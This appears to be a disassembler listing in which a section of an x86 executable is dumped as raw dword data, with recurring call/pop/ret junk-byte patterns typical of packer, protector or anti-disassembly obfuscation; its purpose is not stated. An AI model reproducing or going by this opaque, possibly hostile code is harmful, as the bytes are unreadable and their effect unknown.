		dd 5BE710B5h, 6A4106h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 9EC35747h, 0A995FFCEh, 6A06A92Eh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 7C20C356h, 6BEF819Ah, 8B053ABCh, 0A905559Dh,	0DE8D8D06h
		dd 6A06AC98h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E5F2C351h, 9089A344h,	6AD1FF5Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 5991C353h, 0CD9B7D2Bh, 0BF0FFFCAh, 0AA24BBFAh
		dd 0BD830BD7h, 6A912ADh, 43850F01h, 0F000000h, 581h, 0F3816600h
		dd 26AE422h, 635B501h, 519006A9h, 8D0Fh, 505B0000h, 90DF8B66h
		dd 0CE8h, 2B8F3E00h, 726FE39Bh,	0BE9C90DBh, 3CC381A5h
		dd 5B69217Eh, 66995FFh,	0BB6606A9h, 3DE9C3D9h, 0E800000Eh
		dd 0
		dd 57ED815Dh, 6A06ADD2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 54C2C352h, 0A2A439FCh
		dd 0BD8B5750h, 6A92CBDh, 830F5F5Bh, 0Dh, 0F5952960h, 0B806A91Fh
		dd 2EB8B9C6h, 5B858D61h, 8B06AC8Ah, 0A933419Dh,	0EE99006h
		dd 0C5000000h, 0DAE12B8Dh, 5FBBCB65h, 31D63B53h, 0DBBB5063h
		dd 904D2F5Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 18h,	78C35343h, 39E1286Eh, 64FAB70Fh, 35FFh,	6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0D8D3EFC3h, 705BA9F0h, 0F7B1200h, 686h, 0E5B50900h
		dd 6406A931h, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 1027F5C3h, 0F958C319h
		dd 0FFDE8B66h, 0A9170D85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BF6644E2h
		dd 0BD03696Bh, 6A9219Dh, 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0E8E080C3h, 0EE4C6FDDh
		dd 89D552CAh, 0A935B58Dh, 3DB5FF06h, 0FF06A90Ah, 0A934DD95h
		dd 10DE906h, 0EE80000h,	0AF000000h, 49636BD0h, 0EEB7027Fh
		dd 8842B903h, 0DA8B66C8h, 0B0D88A5Bh, 0DD9D8B00h, 8006A900h
		dd 70E6B5C7h, 1F4D9D89h, 71E406A9h, 257AEB81h, 613C02CCh
		dd 0D1830Fh, 0AE80000h,	8D000000h, 0F599583Bh, 0BEB437BFh
		dd 6185010Dh, 5B06A912h, 0BAC8B60Fh, 6,	4D5BD89h, 0C18B06A9h
		dd 1151BD89h, 0E8C106A9h, 81666004h, 619534CEh,	52E2F766h
		dd 1ECD8D89h, 2B5B06A9h, 0D9D8BC8h, 8B06A90Eh, 6820FD1h
		dd 9000000h, 0A9357D9Dh, 75E906h, 0BB660000h, 858B70F0h
		dd 1, 83DE8B66h, 0BD2B07C0h, 6A9096Dh, 6600C083h, 3BE052BBh
		dd 11830FD0h, 0E9000000h, 4Bh, 7E9h, 0E38BB400h, 0BC55CB5Fh
		dd 0FFFF8D8Bh, 9D33FFFFh, 6A9333Dh, 0F01E183h, 2A84h, 0F5BD2300h
		dd 8906A91Fh, 0A9044195h, 0FFA58306h, 0FEFFFFFFh, 1A4D8D89h
		dd 958906A9h, 1, 2EADB509h, 0E906A9h, 8D000000h, 0AD4DAAB5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
		dd 0C3504000h, 60A666FDh, 0B3FE3D8Fh, 0E8006A4Dh, 10h
		dd 0DD47C457h, 732F19E4h, 0B140837h, 340A06B2h,	9595FF5Bh
		dd 6A06A92Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 757C352h, 105DB9D1h, 0BD8B0000h
		dd 6A93561h, 6AFCE183h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 25F7C353h, 68D0FFDh
		dd 2B000000h, 0A9104DBDh, 6AFC06h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0C02B99C3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 74C35545h, 996D4714h
		dd 1F8D0F30h, 0E8000000h, 14h, 0A921556Eh, 0C8BA6E5Ah
		dd 49594F4Bh, 0B52FAB45h, 0E123EA0Dh, 3A6BEFBBh, 9D8B5B45h
		dd 6A92625h, 6AD22Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 676B44C3h, 0AD3EB79Fh, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0F875C357h,	2EE38C81h
		dd 263D9D8Bh, 6A06A9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0AF0A43C3h, 0DAD8589h, 880D06A9h
		dd 89000000h, 0A9152D8Dh, 6E3ABF06h, 958B223Eh,	6A916CDh
		dd 8BDAB70Fh, 0A90CE58Dh, 7E906h, 833D0000h, 5DE0FB87h
		dd 0C28B5086h, 0C103188Bh, 0C18B188Bh
		db 0D1h, 0E8h
word_594F42	dw 0C203h		; DATA XREF: ___:off_4387F8o
		dd 6A58188Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 98B2C350h, 0DF385621h,	8B66BA04h
		dd 4890FF9h, 52000000h,	835F13B7h, 0A933C9BDh, 840F0006h
		dd 6Fh,	48D38166h, 0B86Ch, 9E80000h, 13000000h,	0D293C111h
		dd 0E00DFBD2h, 17E1B529h, 8D5B06A9h, 0A94DC08Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0FF15F750h, 51006AE1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 58B46BCh, 0C009C57Dh
		dd 19BD89AFh, 8306A90Fh, 0A911CDBDh, 840F0006h,	3ADh, 7878BB66h
		dd 11CDBD83h, 0F0106A9h, 3B784h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0E3EFA302h
		dd 26B58D29h, 0BD8306A9h, 6A911CDh, 4F860F03h, 8B000003h
		dd 0A9168DBDh, 0BD2B6006h, 6A921F9h, 80D98C66h,	0DE8B04E1h
		dd 840FC90Ah, 170h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0C7C35040h, 619858Bh,	9E806A9h, 0E000000h
		dd 907C7639h, 4A4A6CB7h, 85335BF5h, 6A931F9h, 1A299D8Bh
		dd 0F9006A9h, 1280h, 0DE900h, 33D30000h, 137B5622h, 0B69FB7Eh
		dd 50EF4FB1h, 190DF8Bh,	0A926A58Dh, 6A006A06h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0F99BC356h, 9E952h, 4CE00000h, 7578EB89h, 5F4D4D87h
		dd 4E8h, 1F03FF00h, 0B3535000h,	448B5B11h, 8B0424h, 89DA8B66h
		dd 66042444h, 6A58F88Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0C9DDC351h,	9E972h
		dd 0BE7D0000h, 1DB6E394h, 0FFC7EE93h, 0A9357995h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 8138FA16h, 0C25942F3h, 8166601Bh, 60FD11CAh,	209D8D89h
		dd 840F06A9h, 0
		dd 85896161h, 6ACADF2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 4AC35747h, 0FC4CCCE3h, 1A2E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 5B156357h, 31FBF5Ch,	0BD2302D0h, 6A933ADh, 0ADEA858Bh
		dd 6A06ACh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 661E50C3h, 0FDB83BBh, 48Ah, 0C3BB6600h, 1800C771h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 3C26C353h, 14671AD9h, 0C5BD8BA8h
		dd 8B06A908h, 0ACADEEB5h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0BD858BA5h
		dd 8906A932h, 0A91DD195h, 8B068906h, 0A9061985h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0FFF1C0ABh, 660F35CBh, 4689DF8Bh, 919D8B04h,	6606A91Eh
		dd 0A4BAEF81h, 0BF525096h, 6B6EBD29h, 0DC8A310Fh, 0E950585Ah
		dd 0Eh,	48E95485h, 11463201h, 7483FFEh,	6696F638h, 0B5FFFB8Bh
		dd 6ACADEAh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	26C35040h, 4BD551A4h, 0A2421BFAh, 68DEBF0Fh, 7EAE31B0h
		dd 2820Fh, 30B70000h, 4F243481h, 0F7EB132h, 683h, 0A9BD8B00h
		dd 8D06A907h, 0ACADF285h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 6650681Ch
		dd 489D88Bh, 719D8B24h,	0FF06A91Fh, 0A9357995h,	71BD8906h
		dd 6106A906h, 0C7DA8B66h, 0A911CD85h, 306h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0CA5FDCE6h, 0ADF2BD83h, 0F0006ACh, 1184h, 55852900h
		dd 0E906A92Ch, 21h, 2305BD8Bh, 305006A9h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0E40734AFh
		dd 0B6FFC6BBh, 9D8B3891h, 6A9242Dh, 21E59501h, 6A06A9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 734361C3h, 4A9630Bh,	9D3175DCh, 6A934E1h, 11CDBD83h
		dd 0F0306A9h, 4BE85h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 6E654F07h, 0BE9h, 0B81F4200h
		dd 0C1F0A010h, 5614257Ch, 10E9h, 0D06AE100h, 0BD1CFE9Ch
		dd 11B79B4Fh, 0FBD8941Dh, 0F2BD8333h, 6ACADh, 46D840Fh
		dd 0E8600000h, 13h, 0B6713B04h,	0D442CD23h, 0D37AC04Eh
		dd 554949B5h, 661D8EE2h, 6488DF81h, 59BD3158h, 6106A90Bh
		dd 0F2B5FFFCh, 6A06ACADh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 9BFC352h, 1E059D8Bh
		dd 95FF06A9h, 6A90B51h,	0F383BF66h, 0ADE6B58Bh,	6A06ACh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0B8F0C1C3h, 0F7807E9Bh, 106C797h, 9000100h, 0A9103195h
		dd 0CE89606h, 11000000h, 4ECF8CADh, 84F5BC49h, 60EC00CAh
		dd 3F83BA66h, 61CF8B66h, 6E9505Fh, 88000000h, 0F7434571h
		dd 6A968Eh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 3E0B60C3h, 46D1B54Bh, 0B4EF8166h,	0F2B5FF91h
		dd 6606ACADh, 0FFEB21BFh, 0A90EC595h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 0EA8F7751h, 187B252Dh, 519D8B3Eh, 8B06A921h,	0ACADE6B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 717CC5Ch, 9AD8CD11h, 7E83E4Fh, 3D000000h
		dd 50FFD0A3h, 0B529B5A8h, 6A90B4Dh, 0BD858B5Bh,	0E806A913h
		dd 0Eh,	7773EFF3h, 6F0364F1h, 0CE0AE012h, 895B3FCDh, 0C486h
		dd 85016000h, 6A90FFDh,	77E98166h, 958B6155h, 6A916CDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 9BC35545h
		dd 61928106h, 29609431h, 0A921E58Dh, 0E1958906h, 6106A934h
		dd 0DE8h, 87439500h, 921B2A3Bh,	4608C923h, 0BD29D8CFh
		dd 6A9017Dh, 4C2835Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 49C35747h, 1DA23BBFh,	695F9167h, 0AE907h
		dd 0C25A0000h, 8DE84F9h, 68C1E445h, 9DD9589h, 508906A9h
		dd 53006A20h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 893D0352h, 0A9292185h, 0DBBF0F06h, 0C1C3858Dh
		dd 8B6606ACh, 0FEBF0FFEh, 0B88689h, 0BB660000h,	6A4BD3h
		dd 5F18589h, 0B5FF06A9h, 6ACADF2h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 3CC35242h, 95FF6F95h, 6A90669h
		dd 5280BB66h, 0DA8A5096h, 0DE896h, 9B6B0000h, 0A70DA023h
		dd 0A6CD3F69h, 0F338DDDh, 0E82h, 9E900h, 21180000h, 0DA220FD6h
		dd 5B53D1D8h, 0ADF2B5FFh, 6A06ACh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 914BFAC3h, 0FF009AFBh
		dd 0A90C8995h, 57006A06h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 0BD83CB97h, 6A93319h
		dd 13840F00h, 50000000h, 3890Fh, 8B660000h, 243489F9h
		dd 243D9D89h, 0B5FF06A9h, 6ACADF2h, 8595FFFCh, 6A06A917h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 2A5CC350h, 8E9D416h, 0C8000000h, 94280B7Ah
		dd 0FFFB2EA5h, 0ACADF2B5h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 205067A6h
		dd 92DF56EEh, 14CDBD8Bh, 8E0F06A9h, 2, 95FFF98Ah, 6A92A61h
		dd 28A0Fh, 26B30000h, 1E31BD83h, 0F0206A9h, 6684h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 880FCAC8h, 6, 0DF1BD89h, 858B06A9h, 6A91111h, 0C65B50h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 6FB9D37h, 0DE9E1h, 0CF460000h, 0CEBCACD8h
		dd 0B1141E2Fh, 0C75EE902h, 0A902F185h, 6, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 4CE3CA79h, 1FBEB602h, 0E8607A04h, 10h, 0E3300524h, 1D9AD6F2h
		dd 2124372Fh, 5BBB92Ah,	0DE8h, 0B6446200h, 110BF38h, 0C485192Ah
		dd 585A80FDh, 318D8D8Bh, 0E96106A9h, 0FFFFF32Ch, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 1C35242h, 0A24BBD00h
		dd 8BDF8B66h, 53006AC1h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0DA8BBBD6h, 535858Dh, 958906A9h
		dd 6A9335Dh, 89D98B50h,	9D892404h, 6A925BDh, 0BD8B006Ah
		dd 6A9219Dh, 0D1BF006Ah
		dd 8D3D6601h, 0ADE27885h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 62CDB2Eh, 0CB444D5Ch
		dd 9D8B7A38h, 6A90E2Dh,	8B05C083h, 0A91751BDh, 89B58906h
		dd 5006A929h, 218A0Fh, 52500000h, 13E8h, 80339900h, 0EB3EABCEh
		dd 3F2EE1B7h, 0DBB27E38h, 0EF9BE7D0h, 50310F5Fh, 89585A5Bh
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F6AC9C3h, 286h, 6AF98B00h, 1006A00h, 0A902599Dh
		dd 0A995FF06h, 6A06A92Eh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 9241C356h, 518C821h
		dd 4870FF5h, 66000000h,	8DA288BBh, 0AC98DE8Dh, 0E98D8906h
		dd 0FF06A908h, 51006AD1h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 89B52CC0h, 0A9269DB5h
		dd 0ADBD8306h, 106A912h, 0B7850Fh, 0BD230000h, 6A9128Dh
		dd 0AAA0BB66h, 6A026Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0ED2483C3h, 4800F90h, 66000000h
		dd 50C125BBh, 6BF5250h,	0F344FDCh, 9E831h, 131E0000h, 84F43CD3h
		dd 6676276Bh, 5A5BFB8Bh, 6A9058h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0C36D21C3h, 0E91FE24Ch
		dd 8, 9F3C2C19h, 0E62F86C3h, 2811BD33h,	95FF06A9h, 6A90669h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 48C35141h
		dd 331D16C5h, 2840F44h,	8B000000h, 0E08E9FAh, 0E80000h
		dd 5D000000h, 0E282ED81h, 6A06ADh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 81B365C3h, 61D08A60h
		dd 8A5B858Dh, 0B58906ACh, 6A93539h, 24048950h, 5458589h
		dd 13E906A9h, 0E0000000h, 0F4819096h, 221AD20Bh, 66577F7h
		dd 8F4B88BBh, 0FF645F7Eh, 35h, 499D8B00h, 6406A917h, 2589h
		dd 0BD890000h, 6A91315h, 170D85FFh, 6A06A9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0B61EC1C3h
		dd 9D0B6262h, 6A91C9Dh,	2A8DBD89h, 0FF6A06A9h, 0E09B5FFh
		dd 0BB6606A9h, 95FFF8A8h, 6A934DDh, 0F0E9h, 0B0F800h, 0BB6670E6h
		dd 71E47836h, 830F613Ch, 0DDh, 39EF80F9h, 81C8B60Fh, 81DBBED7h
		dd 6BA4Fh, 8B660000h, 8BC18BFBh, 0D17DBFDEh, 0E8C148A2h
		dd 458D8904h, 6606A934h, 0BD0BE2F7h, 6A9224Dh, 25DDBD23h
		dd 0C82B06A9h, 2D79BD8Bh, 0D18B06A9h, 98E9h, 13E900h, 49CE0000h
		dd 14020A3Ch, 0ABE67AC5h, 99C95256h, 62DDCD54h,	4858B77h
		dd 8B000000h, 7C083FAh,	0FAC3DB81h, 0C0830BDDh,	68B0F00h
		dd 8B000000h, 0A905119Dh, 0FD03B06h, 1783h, 6880F00h, 89000000h
		dd 0A90F619Dh, 47E906h,	85890000h, 6A9332Dh, 0FFFF8D8Bh
		dd 0CB80FFFFh, 1E1835Dh, 2F840Fh, 890F0000h, 5,	9346C2BBh
		dd 0FFA5832Dh, 0FEFFFFFFh, 3455BD89h, 9D8906A9h, 6A92E99h
		dd 49589h, 9D8B0000h, 6A90F31h,	0E9h, 7B58D00h,	6A06AD5Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0C803C356h, 6AE2BAh, 9595FFFCh, 8B06A92Dh
		dd 0A9357D9Dh, 1119B906h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 66D2FFC3h, 37D7B64Dh
		dd 26698589h, 0E18306A9h, 50006AFCh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0FC719546h
		dd 1A858D89h, 0C02B06A9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 79C35646h, 6AD22B68h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0C54EC356h
		dd 0BD8B64DCh, 6A9144Dh, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 7FC35343h
		dd 9A592E33h, 1D79BD8Bh, 6A06A9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 419603C3h, 0D88B6619h
		dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0D8FF88FFh, 663F127Ch, 50F2CB81h
		dd 16CD958Bh, 6A06A9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 8BFC7EC3h, 0A90CE58Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0CEA69C18h, 80859DF1h, 9589D960h, 6A90509h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0F98B5818h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0C6C35242h, 0DD5CF6ABh
		dd 0E99939BBh, 10h, 0BF54DBFh, 4AECCDFDh, 0CFB416CAh, 0A8A756E6h
		dd 33C9BD83h, 0F0006A9h, 8484h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0AE80Fh, 0E5020000h
		dd 0BDED6094h, 0BD42AC56h, 2E59BD33h, 8A5B06A9h, 0B8D9h
		dd 6E90000h, 51000000h,	5E8D7698h, 0C08D8D81h, 6A06A94Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 51AAC353h, 850960A3h, 6A916F5h, 0A99D89h
		dd 0FF6106A9h, 2D8589E1h, 2906A922h, 0A920CD9Dh, 0CDBD8306h
		dd 6A911h, 4C1840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 2790CCC3h, 0EE885h, 791F0000h
		dd 0AAFE82CEh, 510386DFh, 6526F33Ah, 2E59D23h, 835B06A9h
		dd 0A911CDBDh, 840F0106h, 496h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 85C35646h, 11CDBD83h, 0F0306A9h
		dd 43786h, 0DD9D3100h, 6006A902h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0FFC35747h,	66C172EDh, 6AD98Ch
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 7249CCC3h, 0E804E180h, 5, 0E94841D7h, 0D0BB6624h, 0C90A5BFEh
		dd 143840Fh, 0BB660000h, 858BB587h, 6A90619h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 4FC35040h, 0F7CA349h
		dd 33FB8BE8h, 0A931F985h, 0F50F806h, 48Bh, 0ECBF6600h
		dd 240489DCh, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 60731BC3h, 14E8h, 99AF8800h, 0F4B7A842h
		dd 0F1E34551h, 4F6A1698h, 0EDA4720Eh, 0DD858979h, 5A06A900h
		dd 34C5858Bh, 0E86106A9h, 4, 1F03FFh, 36A25CBFh, 448B5050h
		dd 93BF0424h, 8B1A91FDh, 89DA8B00h, 50042444h, 0BF310F52h
		dd 4F622D6Bh, 6A58585Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 880BC350h, 11E9BBh
		dd 38D50000h, 17B8ACD4h, 48F9FEC3h, 7172BD31h, 8B579B2Fh
		dd 0A933CD9Dh, 7995FF06h, 0F06A935h, 8589FFB7h,	6ACADF2h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0C4C35040h
		dd 27E95C10h, 6A000002h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 3A3CC356h
		dd 0BF0F8E30h, 0EA858BFAh, 6A06ACADh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 9EBAC356h
		dd 80AAF24Fh, 0C762DBh,	18h, 0D923BB66h, 0ADEEB58Bh, 6A06ACh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 3EA96DC3h, 4A0C04D9h, 2B90DAEAh, 0A925919Dh,	0BD858B06h
		dd 6A06A932h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0CA3C356h, 6897ADBh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0BDC35646h, 0E518A81Dh
		dd 40EEA232h, 619858Bh,	6A06A9h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 6EE83BC3h, 66E5ED98h
		dd 0CBECF81h, 6A044689h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 4954C350h, 5BDD3C8Ah
		dd 8160E084h, 0A3674BD9h, 0CCE08148h, 61633C5Eh, 505F5796h
		dd 6A96F98Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0DB5BC353h, 6BE1EA5Bh,	81BD8B02h
		dd 6606A929h, 0B5FFDA8Bh, 6ACADEAh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 76C35040h, 0FF4786ABh, 0F2692041h
		dd 0D1C38166h, 0C9568E8h, 8B66DCC3h, 240481FEh,	235BF76Ah
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0A2C35545h
		dd 3444528h, 858D268Fh,	6ACADF2h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0D8C35343h,	533774B6h, 3DBD8B53h
		dd 9006A921h, 0C78B6660h, 0B9B85250h, 0F6323F2h, 61585A31h
		dd 90F98B50h, 10E8h, 440D9700h,	0CECB020Bh, 0F507FBFCh
		dd 0D521495Dh, 0E38166DBh, 0FF5F2CA4h, 0A9357995h, 6A61F806h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 892EC355h, 0E0A447B5h, 0A58D8960h, 8006A91Ch
		dd 0C761EAE5h, 0A911CD85h, 306h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0D1BD2990h
		dd 8306A905h, 0ACADF2BDh, 840F0006h, 28h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 0EC35646h, 21E9E0h
		dd 0EB810000h, 149DC713h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 7ECBC350h, 10E963h
		dd 0D11A0000h, 8D99003Dh, 0DDEC3B7h, 6A15B085h,	8B66A5CCh
		dd 13E9DFh, 0C2580000h,	252A857Fh, 837A10B2h, 116A789Ah
		dd 40B2F5DAh, 6870FACh,	89000000h, 0A90E899Dh, 0CDBD8306h
		dd 306A911h, 41F850Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0ED9D09C3h, 0A269F018h
		dd 8589B1B3h, 6A91E85h,	0BD83FC8Ah, 6ACADF2h, 0E6840F00h
		dd 0BF000003h, 51CAE5F7h, 0ADF2B5FFh, 6A06ACh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 95FFE5C3h, 6A90B51h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 0FEC35141h, 0B41A749Bh, 6C5C5793h, 8BF98B79h
		dd 0ACADE6B5h, 56006A06h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BF6662D7h, 6C748B4h
		dd 10001h, 895E381h, 0E8966B2Ah, 11h, 0AB23D44Dh, 0E89F1B7Dh
		dd 85651462h, 0C70E4A98h, 60505FE5h, 66F38B66h,	9661D78Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0B8C35242h
		dd 18ED9D09h, 0B3A269F0h, 6E8h,	0D2F68900h, 0E948BD17h
